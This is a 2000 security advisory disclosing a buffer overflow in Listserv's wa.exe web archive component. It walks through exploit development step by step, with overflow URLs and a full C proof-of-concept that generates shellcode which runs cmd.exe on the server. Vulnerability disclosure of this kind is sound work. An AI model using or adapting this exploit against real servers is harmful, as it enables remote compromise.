Cerberus Information Security Advisory (CISADV000503) http://www.cerberus-infosec.co.uk/advisories.shtml Released : 3rd May 2000 Name : Listserv Web Archives Buffer Overflow Affected Systems : *nix/Win32 Web Servers running Issue : Attackers can remotely execute arbitrary code Author : David Litchfield (mnemonix@globalnet.co.uk) Description *********** The Cerberus Security Team has found a remotely exploitable buffer overrun in Lsoft's (www.lsoft.com) Listserv Web Archive component (wa/wa.exe v1.8d - this is the most recent version. Earlier versions may be affected.). Listserv is the world's most popular software package for providing mailing lists. The Web Archives component allows List owners to make available over the web mails that have been sent to the mailing list. Both the the Windows and Unix versions are affected by this overflow. By making a special formed request to the Web Archive component it is possible to overflow a buffer allowing arbitrary code to be executed, compromising the web server. Details ******* This section specifically looks at the overrun on Windows NT 4 SP6a though the principle is same on the *nix versions. As far as exploiting this overrun is concerned there are two hurdles to overcome. Firstly, the string is tolower()ed - meaning that upper case letters are converted to lower case eg A -> a. This is a problem because some opcodes needed in any exploit code will squashed. For example the "push ebp" instruction is 55h - which is also the hex code for the uppercase letter "U". Due to the tolower()ing this will be converted to 75h - making it no longer the "push ebp" instruction. The second problem is that when the buffer is overflowed, overwriting the saved return address, before the ret(urn) is called a simple read access violation occurs: "The instruction at address 0x00427FC3 tried to read memory at 0x61616161" This happens because one of the instructions called before the ret(urn) is mov edi,dword ptr[ebp-14h] This tells the processor to move into the EDI register the address pointed to by the stack base pointer (EBP) minus 20 bytes. Due to the overflow, the value found at this address is now 0x61616161 (Remember, even though we've used upper case As to overflow the buffer they're converted to the lowercase "a" hence instead of there being 0x41414141 at this address it is 0x61616161) A few instructions after this has been moved into the EDI there is cmp byte ptr[edi],0 This will compare the value pointed to by the EDI register with 0. As the address in the EDI is 0x61616161 the processor goes to that address to get the value stored there to compare it with 0 but when it gets there it finds that the memory here has not been initialised. Hence the access violation. http://charon/scripts/wa.exe?A1=foobar&L=AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA To workaround this problem we have to insert into overflow string an address where the memory _is_ intialized - that is where a value can be found at that address. We know kernel32.dll _will_ be loaded into the address space of the process (it always is in any process on NT) so for safety's sake we'll insert into the overflow string an address smack bang in the middle of kernel32.dll. This way when the mov edi,dword ptr[ebp-14h] .. cmp byte ptr[edi],0 instructions are called we won't get the access violation. After a bit of trial and error we find that we need to set bytes 392,391,390 and 389 in our overflow string to an address where kernel32.dll is loaded. We'll get away with only having to set the more significant part of the address - ie bytes 392 and 391 so we set these to %77 and %f3. When we have done this we try the overflow string again. http://charon/scripts/wa.exe?A1=foobar&L=AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA%f3%77AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAA Bang! We now get the overflow we've been looking for: The instruction at 0x61616161 referenced memory at 0x61616161. This means we've gained control of the program's execution and we can direct it to where we want it to go to find the next instruction to execute. At this stage there's still a fairly long to go and there's no guarantee we will be able to exploit this due to the tolower()ing. First off we need find out what we have to work with. On debugging after the overflow we can see that the tail end of our overflow string can be found at the stack pointer - the ESP. So all we need to do is find an address in memory we there's a "jmp esp" or "call esp" instruction. This way if we overwrite the saved return address with such an address where we can find one of these instructions the processor will jump down to the ESP and start executing downwards from there. As you'll see though the tail of our exploit string is the tolower()ed version. We'll need to find if there is any occurence of our overflow string in memory that hasn't gone through the tolower()ing process. None of the registers point to anything useful so doing a manual search we eventually find our pristine string at address 0x00205370. If we can get back to this address somehow we'll be able to get a decent working exploit out of this. The easiest way to get there is to jump to it. What we could do then is write and embed a wee bit of code in the overflow string that ends up at the ESP which will jump us to address 0x00205370 where we'll place our main bit of code making giving our overflow string the following format: main-code-goeshere-padding-readableaddress-padding-code-that'll-jump-us-to-t he-beginning-of-this-string The only problem is this bit of code that'll jump us to where we really want to go to cannot have any byte that'll be tolower()ed and on top of this the address we need to get back to has a NULL in it. As far as the NULL is concerned, this is easily resolved - we only have to subtract a number A by a number B to give us 0x00205370 eg: 0xFFFFFFFF - 0xFFDFAC8F = 0x00205370 We can mov 0xFFFFFFFF into a register and simply sub(tract) from it 0xFFDFAC8F and be left with the address we need to jump to. mov edi, 0xFFFFFFFF sub edi, 0xFFDFAC8F jmp edi This is the code we need - but is there any character that will be tolower()ed? ba ff ff ff ff 81 ea 87 ac df ff ff e2 Looking at the byte info of the opcodes we can see that none of them will be tolower()ed. Cool. So now we've managed to get back to the beginning our unadulterated overflow string. It is here we'll place our main bit of exploit code. The sample code here is "proof of concept" only and will simply create a file called "cerberus.txt". More useful code is left as excercise of the imagination of the reader. ///////////////////////////////////////////////////////////////// // // // LSOFT's Listserv web archives wa.exe buffer overflow // // // This is "proof of concept code" and will spawn a shell // perform a directory listing and redirect the output // to a file called "cerberus.txt". Will work on Windows NT 4 // SP6a // // // David Litchfield (mnemonix@globalnet.co.uk) // // 1st May 2000 // // // Cut and paste the output into your web browser. // ///////////////////////////////////////////////////////////////// #include int main() { unsigned char exploit[2000]=""; int count = 0; while(count <100) { exploit[count]=0x90; count ++; } // push ebp exploit[count]=0x55; count ++; // mov ebp,esp exploit[count]=0x8B; count ++; exploit[count]=0xEC; count ++; // mov eax, 0x77f1a986 exploit[count]=0xb8; count ++; exploit[count]=0x86; count ++; exploit[count]=0xa9; count ++; exploit[count]=0xf1; count ++; exploit[count]=0x77; count ++; // mov ebx, 0xffffffff exploit[count]=0xbb; count ++; exploit[count]=0xff; count ++; exploit[count]=0xff; count ++; exploit[count]=0xff; count ++; exploit[count]=0xff; count ++; file://sub ebx, 0xffffff8B exploit[count]=0x83; count ++; exploit[count]=0xeb; count ++; exploit[count]=0x8B; count ++; // push ebx exploit[count]=0x53; count ++; // push "xt.s" exploit[count]=0x68; count ++; exploit[count]=0x73; count ++; exploit[count]=0x2e; count ++; exploit[count]=0x74; count ++; exploit[count]=0x78; count ++; file://push "ureb" exploit[count]=0x68; count ++; exploit[count]=0x62; count ++; exploit[count]=0x65; count ++; exploit[count]=0x72; count ++; exploit[count]=0x75; count ++; file://push "rec " exploit[count]=0x68; count ++; exploit[count]=0x20; count ++; exploit[count]=0x63; count ++; exploit[count]=0x65; count ++; exploit[count]=0x72; count ++; file://push "> ri" exploit[count]=0x68; count ++; exploit[count]=0x69; count ++; exploit[count]=0x72; count ++; exploit[count]=0x20; count ++; exploit[count]=0x3e; count ++; file://push "d c/" exploit[count]=0x68; count ++; exploit[count]=0x2f; count ++; exploit[count]=0x63; count ++; exploit[count]=0x20; count ++; exploit[count]=0x64; count ++; file://push " exe" exploit[count]=0x68; count ++; exploit[count]=0x65; count ++; exploit[count]=0x78; count ++; exploit[count]=0x65; count ++; exploit[count]=0x20; count ++; file://push "cmd." exploit[count]=0x68; count ++; exploit[count]=0x63; count ++; exploit[count]=0x6d; count ++; exploit[count]=0x64; count ++; exploit[count]=0x2e; count ++; file://mov ebx, esp exploit[count]=0x8b; count ++; exploit[count]=0xdc; count ++; file://xor esi, esi exploit[count]=0x33; count ++; exploit[count]=0xf6; count ++; file://push esi exploit[count]=0x56; count ++; file://push ebx exploit[count]=0x53; count ++; file://call eax exploit[count]=0xff; count ++; exploit[count]=0xd0; count ++; // set a break point (int 3) while(count <420) { exploit[count]=0xCC; count ++; } // overwrite the return address exploit[count]=0x36; count ++; exploit[count]=0x28; count ++; exploit[count]=0xf3; count ++; exploit[count]=0x77; count ++; // put in 40 nops (0x90) while (count < 464) { exploit[count]=0x90; count ++; } // write our code that'll get us back into our un-tolower()ed string // move edx, 0xFFFFFFFF exploit[count]=0xBA; count ++; exploit[count]=0xFF; count ++; exploit[count]=0xFF; count ++; exploit[count]=0xFF; count ++; exploit[count]=0xFF; count ++; // sub edx, 0xFFDFAC87 exploit[count]=0x81; count ++; exploit[count]=0xEA; count ++; exploit[count]=0x87; count ++; exploit[count]=0xAC; count ++; exploit[count]=0xDF; count ++; exploit[count]=0xFF; count ++; // jmp edx exploit[count]=0xFF; count ++; exploit[count]=0xE2; count ++; // set readable part in memory to stop first AV exploit[390]=0x36; exploit[390]=0xf3; exploit[391]=0x77; count = 0; while(count < 477) { printf("%%%x",exploit[count]); count ++; } return 0; } Solution ******** Lsoft has alerted their customers and have made avaiable a update that will fix this. A check for this has been added to our security scanner, CIS. More details about CIS can be found on our web site: http://www.cerberus-infosec.co.uk/ Vendor Status ************* Lsoft were alerted to this on the the 28th April 2000 and worked over the holiday to fix this. Cerberus would like to thank everyone involved for their prompt response. About Cerberus Information Security, Ltd ***************************************** Cerberus Information Security, Ltd, a UK company, are specialists in penetration testing and other security auditing services. They are the developers of CIS (Cerberus' Internet security scanner) available for free from their website: http://www.cerberus-infosec.co.uk To ensure that the Cerberus Security Team remains one of the strongest security audit teams available globally they continually research operating system and popular service software vulnerabilites leading to the discovery of "world first" issues. This not only keeps the team sharp but also helps the industry and vendors as a whole ultimately protecting the end consumer. As testimony to their ability and expertise one just has to look at exactly how many major vulnerabilities have been discovered by the Cerberus Security Team - over 70 to date, making them a clear leader of companies offering such security services. Founded in late 1999, by Mark and David Litchfield, Cerberus Information Security, Ltd are located in London, UK but serves customers across the World. For more information about Cerberus Information Security, Ltd please visit their website or call on +44(0)208 395 4980. Permission is hereby granted to copy or redistribute this advisory but only in its entirety. Copyright (C) 2000 by Cerberus Information Security, Ltd